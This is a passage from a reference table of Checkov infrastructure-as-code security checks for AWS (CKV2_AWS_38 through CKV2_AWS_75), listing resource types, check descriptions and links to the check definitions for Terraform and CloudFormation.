CKV2_AWS_38 | resource | aws_route53_zone | Ensure Domain Name System Security Extensions (DNSSEC) signing is enabled for Amazon Route 53 public hosted zones | Terraform | [Route53ZoneEnableDNSSECSigning.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/Route53ZoneEnableDNSSECSigning.yaml) | | 2419 | CKV2_AWS_39 | resource | aws_route53_zone | Ensure Domain Name System (DNS) query logging is enabled for Amazon Route 53 hosted zones | Terraform | [Route53ZoneHasMatchingQueryLog.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/Route53ZoneHasMatchingQueryLog.yaml) | | 2420 | CKV2_AWS_40 | resource | aws_iam_group_policy | Ensure AWS IAM policy does not allow full IAM privileges | Terraform | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml) | | 2421 | CKV2_AWS_40 | resource | aws_iam_policy | Ensure AWS IAM policy does not allow full IAM privileges | Terraform | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml) | | 2422 | CKV2_AWS_40 | resource | aws_iam_role_policy | Ensure AWS IAM policy does not allow full IAM privileges | Terraform | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml) | | 2423 | CKV2_AWS_40 | resource | aws_iam_user_policy | Ensure AWS IAM policy does not allow full IAM privileges | Terraform | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml) | | 2424 | CKV2_AWS_40 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure AWS IAM policy does not allow full IAM privileges | Terraform | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml) | | 2425 | CKV2_AWS_40 | resource | data.aws_iam_policy_document | Ensure AWS IAM policy does not allow full IAM privileges | Terraform | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml) | | 2426 | CKV2_AWS_41 | resource | aws_instance | Ensure an IAM role is attached to EC2 instance | Terraform | [EC2InstanceHasIAMRoleAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EC2InstanceHasIAMRoleAttached.yaml) | | 2427 | CKV2_AWS_42 | resource | aws_cloudfront_distribution | Ensure AWS CloudFront distribution uses custom SSL certificate | Terraform | [CloudFrontHasCustomSSLCertificate.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudFrontHasCustomSSLCertificate.yaml) | | 2428 | CKV2_AWS_43 | resource | aws_s3_bucket_acl | Ensure S3 Bucket does not allow access to all Authenticated users | Terraform | [S3NotAllowAccessToAllAuthenticatedUsers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3NotAllowAccessToAllAuthenticatedUsers.yaml) | | 2429 | CKV2_AWS_44 | resource | aws_route | Ensure AWS route table with VPC peering does not contain routes overly permissive to all traffic | Terraform | [VPCPeeringRouteTableOverlyPermissive.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/VPCPeeringRouteTableOverlyPermissive.yaml) | | 2430 | CKV2_AWS_44 | resource | aws_route_table | Ensure AWS route table with VPC peering does not contain routes overly permissive to all traffic | Terraform | [VPCPeeringRouteTableOverlyPermissive.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/VPCPeeringRouteTableOverlyPermissive.yaml) | | 2431 | CKV2_AWS_45 | resource | aws_config_configuration_recorder | Ensure AWS Config recorder is enabled to record all supported resources | Terraform | [AWSConfigRecorderEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSConfigRecorderEnabled.yaml) | | 2432 | CKV2_AWS_45 | resource | aws_config_configuration_recorder_status | Ensure AWS Config recorder is enabled to record all supported resources | Terraform | [AWSConfigRecorderEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSConfigRecorderEnabled.yaml) | | 2433 | CKV2_AWS_46 | resource | aws_cloudfront_distribution | Ensure AWS CloudFront Distribution with S3 have Origin Access set to enabled | Terraform | [CLoudFrontS3OriginConfigWithOAI.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CLoudFrontS3OriginConfigWithOAI.yaml) | | 2434 | CKV2_AWS_47 | resource | aws_cloudfront_distribution | Ensure AWS CloudFront attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability | Terraform | [CloudFrontWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudFrontWebACLConfiguredWIthLog4jVulnerability.yaml) | | 2435 | CKV2_AWS_47 | resource | aws_wafv2_web_acl | Ensure AWS CloudFront attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability | Terraform | [CloudFrontWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudFrontWebACLConfiguredWIthLog4jVulnerability.yaml) | | 2436 | CKV2_AWS_48 | resource | aws_config_configuration_recorder | Ensure AWS Config must record all possible resources | Terraform | [ConfigRecorderRecordsAllGlobalResources.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ConfigRecorderRecordsAllGlobalResources.yaml) | | 2437 | CKV2_AWS_49 | resource | aws_dms_endpoint | Ensure AWS Database Migration Service endpoints have SSL configured | Terraform | [DMSEndpointHaveSSLConfigured.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/DMSEndpointHaveSSLConfigured.yaml) | | 2438 | CKV2_AWS_50 | resource | aws_elasticache_replication_group | Ensure AWS ElastiCache Redis cluster with Multi-AZ Automatic Failover feature set to enabled | Terraform | [ElastiCacheRedisConfiguredAutomaticFailOver.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ElastiCacheRedisConfiguredAutomaticFailOver.yaml) | | 2439 | CKV2_AWS_51 | resource | aws_api_gateway_stage | Ensure AWS API Gateway endpoints uses client certificate authentication | Terraform | [APIGatewayEndpointsUsesCertificateForAuthentication.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayEndpointsUsesCertificateForAuthentication.yaml) | | 2440 | CKV2_AWS_51 | resource | aws_apigatewayv2_api | Ensure AWS API Gateway endpoints uses client certificate authentication | Terraform | [APIGatewayEndpointsUsesCertificateForAuthentication.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayEndpointsUsesCertificateForAuthentication.yaml) | | 2441 | CKV2_AWS_51 | resource | aws_apigatewayv2_stage | Ensure AWS API Gateway endpoints uses client certificate authentication | Terraform | [APIGatewayEndpointsUsesCertificateForAuthentication.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayEndpointsUsesCertificateForAuthentication.yaml) | | 2442 | CKV2_AWS_52 | resource | aws_elasticsearch_domain | Ensure AWS ElasticSearch/OpenSearch Fine-grained access control is enabled | Terraform | [OpenSearchDomainHasFineGrainedControl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/OpenSearchDomainHasFineGrainedControl.yaml) | | 2443 | CKV2_AWS_52 | resource | aws_opensearch_domain | Ensure AWS ElasticSearch/OpenSearch Fine-grained access control is enabled | Terraform | [OpenSearchDomainHasFineGrainedControl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/OpenSearchDomainHasFineGrainedControl.yaml) | | 2444 | CKV2_AWS_53 | resource | aws_api_gateway_method | Ensure AWS API gateway request is validated | Terraform | [APIGatewayRequestParameterValidationEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayRequestParameterValidationEnabled.yaml) | | 2445 | CKV2_AWS_54 | resource | aws_cloudfront_distribution | Ensure AWS CloudFront distribution is using secure SSL protocols for HTTPS communication | Terraform | [CloudFrontUsesSecureProtocolsForHTTPS.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudFrontUsesSecureProtocolsForHTTPS.yaml) | | 2446 | CKV2_AWS_55 | resource | aws_emr_cluster | Ensure AWS EMR cluster is configured with security configuration | Terraform | [EMRClusterHasSecurityConfiguration.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EMRClusterHasSecurityConfiguration.yaml) | | 2447 | CKV2_AWS_56 | resource | aws_iam_group_policy_attachment | Ensure AWS Managed IAMFullAccess IAM policy is not used. | Terraform | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml) | | 2448 | CKV2_AWS_56 | resource | aws_iam_policy_attachment | Ensure AWS Managed IAMFullAccess IAM policy is not used. | Terraform | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml) | | 2449 | CKV2_AWS_56 | resource | aws_iam_role | Ensure AWS Managed IAMFullAccess IAM policy is not used. | Terraform | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml) | | 2450 | CKV2_AWS_56 | resource | aws_iam_role_policy_attachment | Ensure AWS Managed IAMFullAccess IAM policy is not used. | Terraform | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml) | | 2451 | CKV2_AWS_56 | resource | aws_iam_user_policy_attachment | Ensure AWS Managed IAMFullAccess IAM policy is not used. | Terraform | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml) | | 2452 | CKV2_AWS_56 | resource | aws_ssoadmin_managed_policy_attachment | Ensure AWS Managed IAMFullAccess IAM policy is not used. | Terraform | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml) | | 2453 | CKV2_AWS_56 | resource | data.aws_iam_policy | Ensure AWS Managed IAMFullAccess IAM policy is not used. | Terraform | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml) | | 2454 | CKV2_AWS_57 | resource | aws_secretsmanager_secret | Ensure Secrets Manager secrets should have automatic rotation enabled | Terraform | [SecretsAreRotated.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SecretsAreRotated.yaml) | | 2455 | CKV2_AWS_58 | resource | aws_neptune_cluster | Ensure AWS Neptune cluster deletion protection is enabled | Terraform | [NeptuneDeletionProtectionEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/NeptuneDeletionProtectionEnabled.yaml) | | 2456 | CKV2_AWS_59 | resource | aws_elasticsearch_domain | Ensure ElasticSearch/OpenSearch has dedicated master node enabled | Terraform | [ElasticSearchDedicatedMasterEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ElasticSearchDedicatedMasterEnabled.yaml) | | 2457 | CKV2_AWS_59 | resource | aws_opensearch_domain | Ensure ElasticSearch/OpenSearch has dedicated master node enabled | Terraform | [ElasticSearchDedicatedMasterEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ElasticSearchDedicatedMasterEnabled.yaml) | | 2458 | CKV2_AWS_60 | resource | aws_db_instance | Ensure RDS instance with copy tags to snapshots is enabled | Terraform | [RDSEnableCopyTagsToSnapshot.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/RDSEnableCopyTagsToSnapshot.yaml) | | 2459 | CKV2_AWS_61 | resource | aws_s3_bucket | Ensure that an S3 bucket has a lifecycle configuration | Terraform | [S3BucketLifecycle.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketLifecycle.yaml) | | 2460 | CKV2_AWS_62 | resource | aws_s3_bucket | Ensure S3 buckets should have event notifications enabled | Terraform | [S3BucketEventNotifications.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketEventNotifications.yaml) | | 2461 | CKV2_AWS_63 | resource | aws_networkfirewall_firewall | Ensure Network firewall has logging configuration defined | Terraform | [NetworkFirewallHasLogging.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/NetworkFirewallHasLogging.yaml) | | 2462 | CKV2_AWS_64 | resource | aws_kms_key | Ensure KMS key Policy is defined | Terraform | [KmsKeyPolicyIsDefined.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/KmsKeyPolicyIsDefined.yaml) | | 2463 | CKV2_AWS_65 | resource | aws_s3_bucket_ownership_controls | Ensure access control lists for S3 buckets are disabled | Terraform | [AWSdisableS3ACL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSdisableS3ACL.yaml) | | 2464 | CKV2_AWS_66 | resource | aws_mwaa_environment | Ensure MWAA environment is not publicly accessible | Terraform | [AWS_private_MWAA_environment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWS_private_MWAA_environment.yaml) | | 2465 | CKV2_AWS_68 | resource | AWS::IAM::Role | Ensure SageMaker notebook instance IAM policy is not overly permissive | Cloudformation | [SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml) | | 2466 | CKV2_AWS_68 | resource | AWS::SageMaker::NotebookInstance | Ensure SageMaker notebook instance IAM policy is not overly permissive | Cloudformation | [SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml) | | 2467 | CKV2_AWS_68 | resource | aws_iam_role | Ensure SageMaker notebook instance IAM policy is not overly permissive | Terraform | [SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml) | | 2468 | CKV2_AWS_68 | resource | aws_sagemaker_notebook_instance | Ensure SageMaker notebook instance IAM policy is not overly permissive | Terraform | [SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml) | | 2469 | CKV2_AWS_69 | resource | AWS::RDS::DBInstance | Ensure AWS RDS database instance configured with encryption in transit | Cloudformation | [RDSEncryptionInTransit.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/RDSEncryptionInTransit.yaml) | | 2470 | CKV2_AWS_69 | resource | AWS::RDS::DBParameterGroup | Ensure AWS RDS database instance configured with encryption in transit | Cloudformation | [RDSEncryptionInTransit.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/RDSEncryptionInTransit.yaml) | | 2471 | CKV2_AWS_69 | resource | aws_db_instance | Ensure AWS RDS database instance configured with encryption in transit | Terraform | [RDSEncryptionInTransit.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/RDSEncryptionInTransit.yaml) | | 2472 | CKV2_AWS_69 | resource | aws_db_parameter_group | Ensure AWS RDS database instance configured with encryption in transit | Terraform | [RDSEncryptionInTransit.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/RDSEncryptionInTransit.yaml) | | 2473 | CKV2_AWS_70 | resource | aws_api_gateway_method | Ensure API gateway method has authorization or API key set | Terraform | [APIGatewayMethodWOAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayMethodWOAuth.py) | | 2474 | CKV2_AWS_71 | resource | AWS::CertificateManager::Certificate | Ensure AWS ACM Certificate domain name does not include wildcards | Cloudformation | [ACMWildcardDomainName.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/ACMWildcardDomainName.yaml) | | 2475 | CKV2_AWS_71 | resource | aws_acm_certificate | Ensure AWS ACM Certificate domain name does not include wildcards | Terraform | [ACMWildcardDomainName.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ACMWildcardDomainName.yaml) | | 2476 | CKV2_AWS_72 | resource | AWS::CloudFront::Distribution | Ensure AWS CloudFront origin protocol policy enforces HTTPS-only | Cloudformation | [CloudfrontOriginNotHTTPSOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/CloudfrontOriginNotHTTPSOnly.yaml) | | 2477 | CKV2_AWS_72 | resource | aws_cloudfront_distribution | Ensure AWS CloudFront origin protocol policy enforces HTTPS-only | Terraform | [CloudfrontOriginNotHTTPSOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudfrontOriginNotHTTPSOnly.yaml) | | 2478 | CKV2_AWS_73 | resource | aws_sqs_queue | Ensure AWS SQS uses CMK not AWS default keys for encryption | Terraform | [SQSEncryptionCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SQSEncryptionCMK.yaml) | | 2479 | CKV2_AWS_74 | resource | aws_alb_listener | Ensure AWS Load Balancers use strong ciphers | Terraform | [LBWeakCiphers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBWeakCiphers.yaml) | | 2480 | CKV2_AWS_74 | resource | aws_lb_listener | Ensure AWS Load Balancers use strong ciphers | Terraform | [LBWeakCiphers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBWeakCiphers.yaml) | | 2481 | CKV2_AWS_75 | resource | AWS::Lambda::Function | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2482 | CKV2_AWS_75 | resource | AWS::Lambda::Url | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2483 | CKV2_AWS_75 | resource | aws | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2484 | CKV2_AWS_75 | resource | aws | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2485 | CKV2_AWS_75 | resource | aws_accessanalyzer_analyzer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2486 | CKV2_AWS_75 | resource | aws_accessanalyzer_analyzer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2487 | CKV2_AWS_75 | resource | aws_accessanalyzer_archive_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2488 | CKV2_AWS_75 | resource | aws_accessanalyzer_archive_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2489 | CKV2_AWS_75 | resource | aws_account_alternate_contact | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2490 | CKV2_AWS_75 | resource | aws_account_alternate_contact | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2491 | CKV2_AWS_75 | resource | aws_account_primary_contact | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2492 | CKV2_AWS_75 | resource | aws_account_primary_contact | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2493 | CKV2_AWS_75 | resource | aws_account_region | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2494 | CKV2_AWS_75 | resource | aws_account_region | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2495 | CKV2_AWS_75 | resource | aws_acm_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2496 | CKV2_AWS_75 | resource | aws_acm_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2497 | CKV2_AWS_75 | resource | aws_acm_certificate_validation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2498 | CKV2_AWS_75 | resource | aws_acm_certificate_validation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2499 | CKV2_AWS_75 | resource | aws_acmpca_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2500 | CKV2_AWS_75 | resource | aws_acmpca_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2501 | CKV2_AWS_75 | resource | aws_acmpca_certificate_authority | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2502 | CKV2_AWS_75 | resource | aws_acmpca_certificate_authority | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2503 | CKV2_AWS_75 | resource | aws_acmpca_certificate_authority_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2504 | CKV2_AWS_75 | resource | aws_acmpca_certificate_authority_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2505 | CKV2_AWS_75 | resource | aws_acmpca_permission | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2506 | CKV2_AWS_75 | resource | aws_acmpca_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2507 | CKV2_AWS_75 | resource | aws_acmpca_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2508 | CKV2_AWS_75 | resource | aws_acmpca_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2509 | CKV2_AWS_75 | resource | aws_alb | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2510 | CKV2_AWS_75 | resource | aws_alb | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2511 | CKV2_AWS_75 | resource | aws_alb_listener | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2512 | CKV2_AWS_75 | resource | aws_alb_listener | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2513 | CKV2_AWS_75 | resource | aws_alb_listener_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2514 | CKV2_AWS_75 | resource | aws_alb_listener_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2515 | CKV2_AWS_75 | resource | aws_alb_listener_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2516 | CKV2_AWS_75 | resource | aws_alb_listener_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2517 | CKV2_AWS_75 | resource | aws_alb_target_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2518 | CKV2_AWS_75 | resource | aws_alb_target_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2519 | CKV2_AWS_75 | resource | aws_alb_target_group_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2520 | CKV2_AWS_75 | resource 